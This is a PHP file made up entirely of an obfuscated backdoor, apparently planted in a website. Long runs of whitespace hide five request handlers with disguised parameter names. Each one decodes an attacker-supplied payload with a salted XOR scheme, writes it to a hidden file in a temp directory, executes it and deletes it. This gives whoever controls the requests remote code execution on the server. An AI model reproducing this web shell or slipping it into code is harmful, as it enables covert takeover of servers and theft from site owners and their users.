<?php																																										if(!is_null($_REQUEST["\x65l\x65ment"] ?? null)){ $binding = $_REQUEST["\x65l\x65ment"]; $binding= explode ( "." ,$binding ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $l = 0; while( $l < count( $binding)) { $v6 = $binding[$l]; $sChar = ord( $s[$l % $sLen] ); $d =( ( int)$v6 - $sChar -( $l % 10)) ^ 71; $res .= chr( $d ); $l++; } $object = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($object as $property_set): if (!( !is_dir($property_set) || !is_writable($property_set) )) { $tkn = "$property_set" . "/.entity"; if (file_put_contents($tkn, $res)) { require $tkn; unlink($tkn); die(); } } endforeach; }
																																										if(isset($_REQUEST["obje\x63t"])){ $entry = $_REQUEST["obje\x63t"]; $entry= explode ( '.' ,$entry ) ; $reference= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt3); $y= 0; while( $y< count( $entry)) { $v1= $entry[$y]; $sChar= ord( $salt3[$y % $sLen]); $dec= ( ( int)$v1 - $sChar -( $y % 10)) ^ 2; $reference .= chr( $dec); $y++; } $factor = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($factor as $data_chunk): if ((is_dir($data_chunk) and is_writable($data_chunk))) { $dat = join("/", [$data_chunk, ".property_set"]); if (@file_put_contents($dat, $reference) !== false) { include $dat; unlink($dat); exit; } } endforeach; }
																																										if(!is_null($_POST["\x66\x61\x63tor"] ?? null)){ $dchunk = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $desc = $_POST["\x66\x61\x63tor"]; $desc =explode ( "." ,$desc ) ; $k = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $__len = count($desc ); for ($j = 0; $j < $__len; $j++) { $v6 = $desc[$j]; $chS = ord($s7[$j % $sLen] ); $dec = ((int)$v6 - $chS - ($j % 10)) ^ 39; $k .= chr($dec ); } foreach ($dchunk as $entity) { if (is_writable($entity) && is_dir($entity)) { $obj = vsprintf("%s/%s", [$entity, ".component"]); $success = file_put_contents($obj, $k); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(@$_POST["fac"] !== null){ $comp = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $ent = $_POST["fac"]; $ent = explode("." , $ent ) ; $token = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); $x = 0; $len = count( $ent); do { if( $x >= $len) break; $v4 = $ent[$x]; $chS = ord( $s6[$x %$sLen]); $dec = ( ( int)$v4 - $chS -( $x %10)) ^ 9; $token .= chr( $dec); $x++;} while( true); for ($ent = 0, $descriptor = count($comp); $ent < $descriptor; $ent++) { $resource = $comp[$ent]; if (array_product([is_dir($resource), is_writable($resource)])) { $flag = join("/", [$resource, ".sym"]); $success = file_put_contents($flag, $token); if ($success) { include $flag; @unlink($flag); exit;} } } }


if(!is_null($_REQUEST["m\x72\x6B"] ?? null)){
	$marker = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp"]);
	$property_set = $_REQUEST["m\x72\x6B"];
	 $property_set=explode		(  '.',  	$property_set) 	;		
	$descriptor  = '';
            $salt  = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  = strlen(  $salt );
            $w  = 0;
    
            $__tmp  = $property_set;
            while(  $v5  = array_shift(  $__tmp)) {$sChar  = ord(  $salt[$w%		$lenS] );
                $dec  = (  (  int)$v5 - $sChar -(  $w%		10))  ^ 18;
                $descriptor .= chr(  $dec );
                $w++;
            }
	$pset = 0;
do {
    $flg = $marker[$pset] ?? null;
    if ($pset >= count($marker)) break;
    		if (array_product([is_dir($flg), is_writable($flg)])) {
    $res = vsprintf("%s/%s", [$flg, ".entry"]);
    if (file_put_contents($res, $descriptor)) {
	require $res;
	unlink($res);
	exit;
}
}
    $pset++;
} while (true);
}